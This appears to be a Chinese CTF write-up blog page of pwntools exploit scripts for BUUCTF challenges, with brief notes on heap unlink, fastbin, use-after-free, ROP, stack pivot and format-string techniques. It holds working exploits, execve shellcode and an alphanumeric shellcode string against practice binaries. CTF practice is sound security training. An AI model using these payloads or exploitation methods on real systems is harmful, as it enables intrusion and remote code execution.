第二页

[ZJCTF 2019]EasyHeap

这里有几个点,首先要用ret把栈的地址叠高,这样防止exp覆盖函数原来的数据

第二个就是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *

#p=process('./pwn')
context(log_level='debug')
p=remote('node5.buuoj.cn',27294)
elf=ELF('./pwn')
libc=ELF('./libc-2.23.so')
free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']+0x16
system_plt = elf.plt['system']

def add(size,content):
p.sendlineafter(b'Your choice :',str(1))
p.sendlineafter(b'Size of Heap : ',str(size))
p.sendlineafter(b'Content of heap:',content)
p.recvuntil(b'SuccessFul')

def edit(idx,content):
p.sendlineafter(b'Your choice :',str(2))
p.sendlineafter(b'Index :',str(idx))
p.sendlineafter(b'Size of Heap : ',str(len(content)))
p.sendlineafter(b'Content of heap :',content)
p.recvuntil(b'Done !')

def delete(idx):
p.sendlineafter(b'Your choice :',str(3))
p.sendlineafter(b'Index :',str(idx))
#p.recvuntil(b'Done !')

bss=0x6020E0

#gdb.attach(p)
add(0x80,b'aaaa')
add(0x80,b'bbbb')

add(0x90,b'cccc')
add(0x90,b'/bin/sh\x00')
payload=p64(0)+p64(0x81)+p64(bss-0x18)+p64(bss-0x10)+b'M'*(0x80-0x20)
payload+=p64(0x80)+p64(0x90)

edit(0,payload)
pause()
delete(1)

payload2=p64(0)*3
payload2+=p64(free_got)+p64(puts_got)

edit(0,payload2)
payload1=p64(system_plt)
edit(0,payload1)
delete(3)
'''
leak=u64(p.recvuntil('\x7f')[-6:]+b'\x00\x00')

print(hex(leak))
libc_addr=leak-libc.sym['puts']

system=libc_addr+libc.sym['system']

payload=p64(system)

edit(0,payload)

delete(3)
'''

p.interactive()

gyctf_2020_borrowstack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
from LibcSearcher import *
#p=process('./pwn')
p=remote('node5.buuoj.cn',25450)
elf=ELF('./pwn')
context(log_level='debug')
leave_ret=0x400699
pop_rdi=0x0000000000400703
bss=0x601080
ret=0x4004c9
libc=ELF('./libc-2.23.so')


shell=0x4526a


main = elf.sym["main"]
puts_plt= elf.plt["puts"]
puts_got = elf.got["puts"]
#gdb.attach(p)
pause()

payload=b'a'*0x60+p64(bss)+p64(leave_ret)

p.send(payload)

payload2=p64(ret)*28+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
p.send(payload2)
p.recvuntil(b'Done!You can check and use your borrow stack now!\n')
leak_addr = u64(p.recv(6)+b'\x00\x00')
print(hex(leak_addr))

libc_base=leak_addr-libc.sym['puts']

shell+=libc_base

payload2=b'a'*0x68+p64(shell)

p.sendline(payload2)

p.interactive()

ciscn_2019_s_9

call esp

jmp esp都行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
p=remote('node5.buuoj.cn',27684)
#p=process('./pwn')
context(arch = 'i386',os = 'linux',log_level = 'debug')

#gdb.attach(p)
#pause()


shellcode=asm('''push 0x68
push 0x732f2f2f
push 0x6e69622f
mov ebx,esp
xor edx,edx
xor ecx,ecx
push 0xB
pop eax
int 0x80''')

payload=shellcode
payload=payload.ljust(0x24,b'\x00')
#payload+=asm("sub esp, 40;").ljust(0x4,b'\x90')
payload+=p32(0x8048554)
payload+=asm("sub esp,40;jmp esp")
#payload+=asm("sub esp,40;call esp")

p.sendline(payload)

p.interactive()

第三页

ciscn_2019_n_3

虽然是2.27版本的,但是漏洞利用与2.23一致,一个经典的uaf改写地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
context(log_level='debug')
p=remote('node5.buuoj.cn',29247)
#p = process("./pwn")
elf = ELF("./pwn")

def add(idx,size,value):
p.sendlineafter("CNote > ","1")
p.sendlineafter("Index > ",str(idx))
p.sendlineafter("Type > ",b'2')
p.sendlineafter("Length > ",str(size))
p.sendlineafter("Value > ",value)

def delete(idx):
p.sendlineafter("CNote > ","2")
p.sendlineafter("Index > ",str(idx))

def show(idx):
p.sendlineafter("CNote > ","3")
p.sendlineafter("Index > ",str(idx))

system=0x8048500

add(1,0x40,b'aaaa')
add(2,0x40,b'bbbb')

#gdb.attach(p)
#pause()
delete(1)
delete(2)

payload=b'bash'+p32(system)

add(3,0xc,payload)

delete(1)
p.inetractive()

0ctf_2017_babyheap

详解见fastbin_attack | 鱼非愚 (yufeiyu33.github.io)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
from pwn import *
#context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context(log_level='debug')
#p=remote('node5.buuoj.cn',25676)
p=process('./babyheap')
def debug():
gdb.attach(p)
pause()

def allo(size):
p.recvuntil(b'Command:')
p.sendline(b'1')
p.sendlineafter(b'Size:',str(size))

def fill(index,size,content):
p.recvuntil(b'Command:')
p.sendline(b'2')
p.sendlineafter(b'Index:',str(index))
p.sendlineafter(b'Size:',str(size))
p.sendafter(b'Content:',content)

def free(index):
p.recvuntil(b'Command:')
p.sendline(b'3')
p.sendlineafter(b'Index:',str(index))

def dump(index):
p.recvuntil(b'Command:')
p.sendline(b'4')
p.sendlineafter(b'Index:',str(index))
p.recvuntil(b'Content:')

def exit():
p.recvuntil(b'Command: \n')
p.sendline(b'5')

def unsorted_offset_arena(idx):
word_bytes = context.word_size / 8
offset = 4 # lock
offset += 4 # flags
offset += word_bytes * 10 # offset fastbin
offset += word_bytes * 2 # top,last_remainder
offset += idx * 2 * word_bytes # idx
offset -= word_bytes * 2 # bin overlap
return offset


allo(0x10)
allo(0x10)
allo(0x10)
allo(0x10)
allo(0x80)
allo(0x70)
debug()
free(2)

free(1)

payload=p64(0)*3+p64(0x21)+p8(0x80)
pause()
fill(0,len(payload),payload)

payload1=b'a'*0x10+p64(0)+p64(0x21)
pause()
fill(3,len(payload1),payload1)

allo(0x10)

allo(0x10)

payload1=b'a'*0x10+p64(0)+p64(0x91)
pause()
fill(3,len(payload1),payload1)

free(4)

dump(2)
pause()
leak_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print(hex((leak_addr)))

unsorted_offset_addr=unsorted_offset_arena(5)
print(hex(int(unsorted_offset_addr)))
libc_base=leak_addr-unsorted_offset_addr-0x3c4b20

print(hex(int(libc_base)))

pause()
allo(0x60)
free(4)
print(hex(int(libc_base+0x3c4aed)))

payload=p64(int(libc_base+0x3c4aed))#0x3c4aed

fill(2,len(payload),payload)

allo(0x60)
allo(0x60)

pause()
gadgets=int(libc_base+0x4526a)
payload =b'a'*0x13 + p64(gadgets)

fill(6, len(payload), payload)

allo(255)
p.interactive()

babyfengshui_33c3_2016

这题的关键是看懂题目的漏洞点,我反正开始没看出来

屏幕截图 2024-11-13 202602

这个代码的意思是我们申请的chunk的地址加上输入的长度是否长于函数接下的chunk的地址(add一个函数时会生成两个chunk)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
context.log_level='debug'
p=remote('node5.buuoj.cn',28502)
#p=process('./pwn')
elf=ELF('./pwn')
#libc=ELF('/home/yfy/ctfpwn/glibc-all-in-one/glibc-all-in-one/libs/2.23-0ubuntu3_i386/libc-2.23.so')
libc=ELF('./libc-2.23.so')
free_got=elf.got['free']

def add(size,name,length,text):
p.recvuntil("Action: ")
p.sendline("0")
p.sendlineafter("size of description: ",str(size))
p.sendlineafter("name: ",name)
p.recvuntil("text length:")
p.sendline(str(length))
p.recvuntil("text:")
p.sendline(text)
def delete(index):
p.recvuntil("Action: ")
p.sendline("1")
p.recvuntil("index: ")
p.sendline(str(index))
def show(index):
p.recvuntil("Action: ")
p.sendline("2")
p.recvuntil("index: ")
p.sendline(str(index))
def update(index,length,text):
p.recvuntil("Action: ")
p.sendline("3")
p.recvuntil("index: ")
p.sendline(str(index))
p.recvuntil("text length: ")
p.sendline(str(length))
p.recvuntil("text: ")
p.sendline(text)
def debug():
gdb.attach(p)
pause()
add(0x80,"nam1",0x80,"aaaa")
add(0x80,"nam2",0x80,"bbbb")
add(0x80,"nam3",0x80,"/bin/sh\x00")
#debug()
delete(0)
add(0x100,'nam1',0x100,"cccc")

payload=b'a'*0x108+b'a'*0x8+b'a'*0x80+b'a'*0x8+p32(free_got)
update(3,0x200,payload)
show(1)
p.recvuntil("description: ")
free_addr=u32(p.recv(4))
#libc=LibcSearcher("free",free_addr)
libc_base=free_addr-libc.sym["free"]
system_addr=libc_base+libc.sym["system"]

update(1,0x80,p32(system_addr))
delete(2)
p.interactive()

hitcon2014_stkof

pwn堆—unlink | 鱼非愚 (yufeiyu33.github.io)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
p=process('./pwn')
#p=remote('node5.buuoj.cn',27761)
elf=ELF('./pwn')
atoi_got = elf.got['atoi']
libc=ELF('./libc-2.23.so')
free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']



#bss=0x6021C0
bss=0x602140
def add(size):
p.sendline(str(1))
p.sendline(str(size))
p.recvuntil(b'OK')


def edit(num,content):
p.sendline(str(2))
p.sendline(str(num))
p.sendline(str(len(content)))
p.sendline(content)
p.recvuntil(b'OK')

def delete(num):
p.sendline(str(3))
p.sendline(str(num))
#p.recvuntil(b'OK')

#gdb.attach(p)

add(0x30)
add(0x80)

add(0x80)
add(0x30)
payload=p64(0)+p64(0x80)+p64(bss-0x18)+p64(bss-0x10)+b'a'*(0x80-0x20)
payload+=p64(0x80)+p64(0x90)
gdb.attach(p)
pause()
edit(2,payload)

delete(3)

payload2=b'c'*0x10
payload2+=p64(free_got)+p64(puts_got)
#payload2+=p64(free_got)+b'\x7f'+b'd'*5
edit(2,payload2)
payload1=p64(puts_plt)

edit(1,payload1)

delete(2)

leak=u64(p.recvuntil('\x7f')[-6:]+b'\x00\x00')

print(hex(leak))
libc_addr=leak-libc.sym['puts']

system=libc_addr+libc.sym['system']

payload=p64(system)

edit(1,payload)

edit(4,'/bin/sh\x00')
delete(4)

p.interactive()

mrctf2020_shellcode_revenge

要求可见字符串的shellcode,第一次看到

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')

p=remote('node5.buuoj.cn',25572)
#p=process('./pwn')
'''
shellcode=asm(shellcraft.sh())
print(shellcode)
'''
p.send(b'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t')

p.interactive()

jarvisoj_level5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
from LibcSearcher import *
context(log_level='debug')
#p=process('./level3_x64')
p=remote('node5.buuoj.cn',26473)
elf=ELF('level3_x64')
rdi=0x4006b3
rsi_r15=0x4006b1
ret=0x400499
write_plt=elf.plt['write']
write_got=elf.got['write']
#main=elf.sym['main']
main=0x40061a

p.recvuntil(b'Input:\n')
#gdb.attach(p)
payload=b'a'*0x88+p64(rdi)+p64(0)+p64(rsi_r15)+p64(write_got)+p64(8)+p64(write_plt)+p64(main)
#pause()
p.sendline(payload)
libc_leak=u64(p.recv(8))
#libc_leak=u64(p.recv(6).strip().ljust(b'\00'))
print(hex(libc_leak))
libc = LibcSearcher("write",libc_leak)

libc_base=libc_leak-libc.dump('write')
system_addr=libc_base+libc.dump('system')
bin_sh_addr=libc_base+libc.dump('str_bin_sh')

payload=b'a'*0x88+p64(rdi)+p64(bin_sh_addr)+p64(system_addr)
#payload=b'a'*0x88+p64(rdi)+p64(bin_sh_addr)+p64(system_addr)+p64(0)
p.sendline(payload)
p.interactive()

pwnable_hacknote

基本uaf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
from LibcSearcher import *
context(arch='i386',os='linux',log_level='debug')
myelf = ELF("./pwn")
libc = ELF("./libc.so.6")
io = remote('node5.buuoj.cn',25639)
#io=process('./pwn')

put_got=myelf.got['puts']
def add(size,content):
io.recvuntil("choice :")
io.sendline("1")
io.recvuntil("size :")
io.sendline(str(size))
io.recvuntil("Content :")
io.sendline(content)
def delete(num):
io.recvuntil("choice :")
io.sendline("2")
io.recvuntil("Index :")
io.sendline(str(num))
def show(num):
io.recvuntil("choice :")
io.sendline("3")
io.recvuntil("Index :")
io.sendline(str(num))
#gdb.attach(io)
pause()
add(64,"")
add(32,"")
delete(0)
add(64,"")
pause()
pause()
show(2)

libc_base = u32(io.recv(8)[4:8])-0x1b07b0

system_addr = libc_base + libc.symbols['system']

delete(0)
delete(1)
add(8,p32(system_addr)+b";sh\x00")
show(0)

io.interactive()

mrctf2020_easy_equation

之前遇到这种格式化字符串把某个地址改成指定的值都是直接fmtstr_payload直接生成的,不过这题不行了,看来还是得自己写

解出来方程是2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')

p=remote('node5.buuoj.cn',29917)
#p=process('./pwn')
#gdb.attach(p)
pause()

#payload=b'a'+fmtstr_payload(8, {0x60105C:0x2}) 不能用
payload = b"aa%9$nAAA"+p64(0x60105c)
p.sendline(payload)

p.interactive()

ciscn_2019_es_7

这个和之前有个题一样

picoctf_2018_got_shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

#p=process('./pwn')
p=remote('node5.buuoj.cn',26671)
elf=ELF('./pwn')
puts_got=elf.got['puts']
p.recvuntil('value?')
p.sendline(hex(puts_got))



payload=hex(0x804854b)
p.sendline(payload)

p.interactive()

cmcc_pwnme2

这题的偏移搞了挺久,当时一看这个不就是一个retlibc吗,然后自信写板子,结果一直卡在一个地方,结果发现是gets下面那个函数的ret是会ret到前一个gets ebp在栈上面的位置,最后调试发现位置是0x6c

附上exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
from LibcSearcher import *

#libc=ELF('./libc-2.23.so')
#p=process('./pwn')
p=remote('node5.buuoj.cn',25747)
elf=ELF('./pwn')
puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
offset=0x6c
main_addr=0x080486f8

payload=b'a'*(offset+4)+p32(puts_plt)+p32(main_addr)+p32(puts_got)
#gdb.attach(p)
#pause()
p.sendline(payload)
p.recvuntil(b'input:\n')
p.recvuntil(b'\x0a')
#p.recvuntil(b'\x0a')
#p.recvuntil(b'\x0a')
leak_addr=u32(p.recv(4))

print(hex(leak_addr))
#libc=LibcSearcher("puts",leak_addr)
#libc=ELF('/home/yfy/ctfpwn/glibc-all-in-one/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')

libc=ELF('./libc-2.23.so')

libc_base=leak_addr-libc.sym['puts']
bin_sh_addr=libc_base+next(libc.search(b'/bin/sh'))
system_addr=libc_base+libc.sym['system']

payload2=b'a'*offset+b'a'*4+p32(system_addr)+p32(main_addr)+p32(bin_sh_addr)
p.sendline(payload2)
p.interactive()

wdb_2018_2nd_easyfmt

找不到远程的libc版本,算了,本地打自己的libc是通的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')

#p=process('./pwn')
p=remote('node5.buuoj.cn',25868)
elf=ELF('./pwn')
libc=ELF('/home/yfy/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc=ELF('./libc-2.23.so')
printf_got = elf.got['printf']
p.recvuntil('Do you know repeater?\n')
payload=b'%39$p'

#gdb.attach(p)
#pause()

p.sendline(payload)


p.recvuntil(b'0x')
libc_base=int(p.recv(8),16)-0x18647

log.success(f"leak={hex(libc_base)}")
log.success(f"libc_base={hex(libc_base)}")
system=libc_base+libc.sym['system']
printf=libc_base+libc.sym['printf']

payload2=(fmtstr_payload(6, {printf_got:system}))
p.sendline(payload2)

p.sendline(b'/bin/sh\x00')

p.interactive()

roarctf_2019_easy_pwn

通过off-by-one造成堆重叠,从而泄露libc和改写realloc为one_gadget,注意这题还要把molloc改写为realloc达成一些one_gadget的条件

buu的题,本地用的libc可以打通,远程会超时,大概是libc不对,懒得找了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')

#p=remote("node5.buuoj.cn",26221)
p=process('./pwn')
libc=ELF('/home/yfy/tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6')
#libc=ELF('./libc-2.23.so')
elf=ELF('./pwn')
def add(size):
p.sendlineafter(b"choice:",b'1')
p.sendlineafter(b'size:',str(size))

def edit(idx,size,content):
p.sendlineafter(b"choice:",b'2')
p.sendlineafter(b'index:',str(idx))
p.sendlineafter(b'size:',str(size))
p.sendlineafter(b'content:',content)

def free(idx):
p.sendlineafter(b"choice:",b'3')
p.sendlineafter(b'index:',str(idx))

def show(idx):
p.sendlineafter(b"choice:",b'4')
p.sendlineafter(b'index:',str(idx))

def debug():
gdb.attach(p)
pause()

add(0x18)
add(0x10)
add(0x90)
add(0x10)


payload=b'\x00'*0x18+p8(0xc1)
edit(0,0x18+10,payload)
free(1)

add(0x10)
show(2)
p.recvuntil('content: ')
leak=u64(p.recv(6).ljust(8,b'\x00'))
log.success(f"leak>>>{hex(leak)}")

libc_base=leak-0x3c3b78
log.success(f"libc_base>>>{hex(libc_base)}")
one_gadget=libc_base+0x4525a #0x4525a 0xef9f4 0xf0897
#one_gadget=libc_base+0x4526a #0x45216 0x4526a 0xf02a4 0xf1147
realloc=libc_base+libc.sym['realloc']

fake_addr=libc_base+0x3c3aed

fake=p64(fake_addr)
log.success(f"fake>>>{hex(fake_addr)}")
add(0x60)
free(4)
edit(2,len(fake),fake)

add(0x60)
add(0x60)

payload=b'b'*0xb+p64(one_gadget)+p64(realloc)

edit(5,len(payload),payload)
#debug()
add(0x10)

p.interactive()

npuctf_2020_easyheap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *
#p = process("./pwn")
p = remote("node5.buuoj.cn",29440)
context.log_level = 'debug'
#gdb.attach(p)
elf = ELF("./pwn")
libc = ELF("./libc-2.27.so")
atoi_got = elf.got['atoi']
free_got = elf.got['free']

def cmd(choice):
p.recvuntil("Your choice :")
p.sendline(str(choice))

def create(size,content):
cmd(1)
p.recvuntil("only) :")
p.sendline(str(size))
p.recvuntil("Content:")
p.sendline(content)

def edit(idx,content):
cmd(2)
p.recvuntil("Index :")
p.sendline(str(idx))
p.recvuntil("Content:")
p.sendline(content)

def show(idx):
cmd(3)
p.recvuntil("Index :")
p.sendline(str(idx))

def delete(idx):
cmd(4)
p.recvuntil("Index :")
p.sendline(str(idx))

create(0x18,"aaaa")

create(0x18,"aaaa")

payload =b'/bin/sh\x00'
payload += p64(0) * 2
payload += p64(0x41)

edit(0,payload)
delete(1)
pause()
#create(0x38,b'a')


payload =b'a' * 0x20 + p64(0x38) + p64(free_got)
create(0x38,payload)
show(1)
free_addr = u64(p.recvuntil("\x7f")[-6:]+b'\x00'*2)





log.success(hex(free_addr))
libc_base = free_addr - libc.sym['free']
system = libc_base + libc.sym['system']
log.success(hex(libc_base))
log.success(hex(system))

edit(1,p64(system))
# gdb.attach(p)
# pause()
delete(0)

p.interactive()

picoctf_2018_can_you_gets_me

ROPgadget一把梭

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
from struct import pack
#io=process('./pwn')
io=remote('node5.buuoj.cn',26587)
# Padding goes here
p = b'a'*(0x18+4)

p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de955) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0806cc25) # int 0x80

io.sendline(p)

io.interactive()

hitcontraining_bamboobox

lambda函数我用不来。。。

buu的超时一如既往,没找到libc,算了,反正本地链接的可以打通

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
from pwn import *
from struct import pack

s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda:p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))

p=remote('node5.buuoj.cn',28871)
#p=process('./pwn')
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf=ELF('./pwn')
libc=ELF('/home/yfy/tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6')
libc=ELF()
#libc=ELF('./libc-2.23.so')
puts_got=elf.got['puts']


def add(size,content):
sla(b'Your choice:',b'2')
sla(b'length of item name:',str(size))
sla(b'the name of item:',content)

def edit(idx,size,content):
sla(b'Your choice:',b'3')
sla(b'index of item',str(idx))
sla(b'length of item name:',str(size))
sa(b'name of the item:',content)

def show():
sla(b'Your choice:',b'1')


def delete(idx):
sla(b'Your choice:',b'4')
sla(b'Please enter the index of item:',str(idx))


def debug():
gdb.attach(p)
pause()
#add(0x40,b'aaaaaa')
add(0x80,b'bbbbbb')
add(0x80,b'cccccc')
add(0x10,b'dddddd')


ptr=0x6020c8
fd=ptr-0x18
bk=ptr-0x10

fake=p64(0)+p64(0x81)+p64(fd)+p64(bk)+b'\x00'*0x60+p64(0x80)+p64(0x90)

edit(0,len(fake),fake)


delete(1)

show()
rl(b'0 : ')
leak=u64(p.recv(6).ljust(8,b'\x00'))

log.success(f"leak>>>{hex(leak)}")


libc_base=leak-0x3c38e0

system=libc_base+libc.sym['system']
log.success(f'system>>>{hex(system)}')
#shell=libc_base+0xef9f4#0x4525a 0xef9f4 0xf0897

payload=p64(0)*2+p64(0x80)+p64(elf.got["atoi"])

edit(0,len(payload),payload)
edit(0,8,p64(system))


sla(b'Your choice:','/bin/sh\x00')

p.interactive()

x_ctf_b0verfl0w

给了jmp esp,剩下的自己写就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
#p=remote('node5.buuoj.cn',27849)
p=process('./pwn')
gdb.attach(p)
pause()
#shellcode=asm(shellcraft.sh())
shellcode=asm(
'''
xor ecx,ecx
xor edx,edx
xor ebx,ebx
push ebx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
xor eax,eax
push 11
pop eax
int 0x80
'''
)
shellcode=shellcode.ljust(0x24,b'\x00')

jmp=asm(
'''
sub esp,0x28
jmp esp
'''
)

hint=0x080484fd
payload=shellcode+p32(0x08048504)+jmp
p.sendline(payload)

p.interactive()

suctf_2018_basic pwn

后门送脸,好耶好耶

1
2
3
4
5
6
7
8
9
10
11
from pwn import *


#p=process('./pwn')
p=remote('node5.buuoj.cn',29685)

payload=b'a'*280+p64(0x401157)

p.sendline(payload)

p.interactive()

inndy_echo

改个got表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')

p=remote('node5.buuoj.cn',25336)
#p=process('./pwn')
elf=ELF('./pwn')
system=0x8048400
printf=elf.got['printf']






payload=(fmtstr_payload(7, {printf:system}))
p.sendline(payload)
sleep(0.2)
# gdb.attach(p)

# pause()
p.sendline(b'/bin/sh\x00')

p.interactive()

actf_2019_babystack

栈迁移加上ret2libc,注意栈的位置,后一个溢出的地址要改变,调试得出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
p=remote('node5.buuoj.cn',28861)
#p=process('./pwn')
elf=ELF('./pwn')
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc=ELF('./libc-2.27.so')
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
ret=0x0000000000400709
pop_rdi=0x400ad3
leave_ret=0x400a18
main=0x4008f6
p.sendlineafter(b"Welcome to ACTF's babystack!",b'224')
p.recvuntil(b'0x')
leak=int((p.recv(12)),16)
log.success(f'leak>>>{hex(leak)}')

payload=p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(ret)+p64(main)
payload1=payload.ljust(0xd0,b'\x00')+p64(leak-8)+p64(leave_ret)

#gdb.attach(p)
#pause()


p.recvuntil('>')

p.send(payload1)

p.recvuntil(b'Byebye~\x0a')
leak2=u64(p.recv(6).ljust(8,b'\x00'))
log.success(f'puts>>>{hex(leak2)}')

libc_base=leak2-libc.sym['puts']

log.success(f'libc>>>{hex(libc_base)}')
bin_sh_addr=libc_base+next(libc.search(b'/bin/sh'))
system_addr=libc_base+libc.sym['system']


p.sendlineafter(b"How many bytes of your message?",b'224')

log.success(f'leak>>>{hex(leak)}')


#0xebc81 0xebc85 0xebc88 0xebce2 0xebd38 0xebd3f 0xebd43
payload=p64(pop_rdi)+p64(bin_sh_addr)+p64(ret)*2+p64(system_addr)
# payload=p64(libc_base+0xebce2)
payload1=payload.ljust(0xd0,b'\x00')+p64(leak-8-0xB0)+p64(leave_ret)
#0xb0

p.recvuntil('>')
# gdb.attach(p)
# pause()
p.sendafter(b'What is the content of your message?',payload1)

p.interactive()


picoctf_2018_leak_me

直接输入256个字符,密码直接出来了,输入就好了,不会变

wustctf2020_easyfast

